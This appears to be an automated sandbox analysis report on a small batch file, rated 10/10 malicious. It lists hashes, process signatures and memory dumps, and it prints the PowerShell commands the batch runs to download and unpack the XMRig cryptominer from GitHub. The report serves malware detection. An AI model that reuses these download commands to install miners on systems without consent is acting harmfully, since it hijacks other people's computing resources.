04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
300s
max time network
319s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (10).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3060	powershell.exe
4	3060	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3060	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 3060	3040	cmd.exe	29
PID 3040 wrote to memory of 3060	3040	cmd.exe	29
PID 3040 wrote to memory of 3060	3040	cmd.exe	29
PID 3040 wrote to memory of 2788	3040	cmd.exe	30
PID 3040 wrote to memory of 2788	3040	cmd.exe	30
PID 3040 wrote to memory of 2788	3040	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a14b67fa486a4391e30666e72f10589c

SHA1
1a95f14ebc84e698c1c6571d59618b92d76484ed

SHA256
64b04114049ff36b485c7d014731710604fa8d20b9272bf268f9559ae6025f1c

SHA512
a0cf6ec707c50a32735aabe2a398e8eca1d24bcb34a9f34c6dca46d147955ad8fabb1a1c92117bf475cb7f70c76423160708dcf35efc5f4e53ee729a50b72cd2

Download Submit
memory/2788-19-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2788-23-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/2788-27-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/2788-25-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2788-26-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2788-24-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2788-20-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/2788-22-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2788-21-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/3060-8-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3060-4-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/3060-13-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3060-11-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3060-12-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-5-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-10-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-9-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/3060-6-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3060-7-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download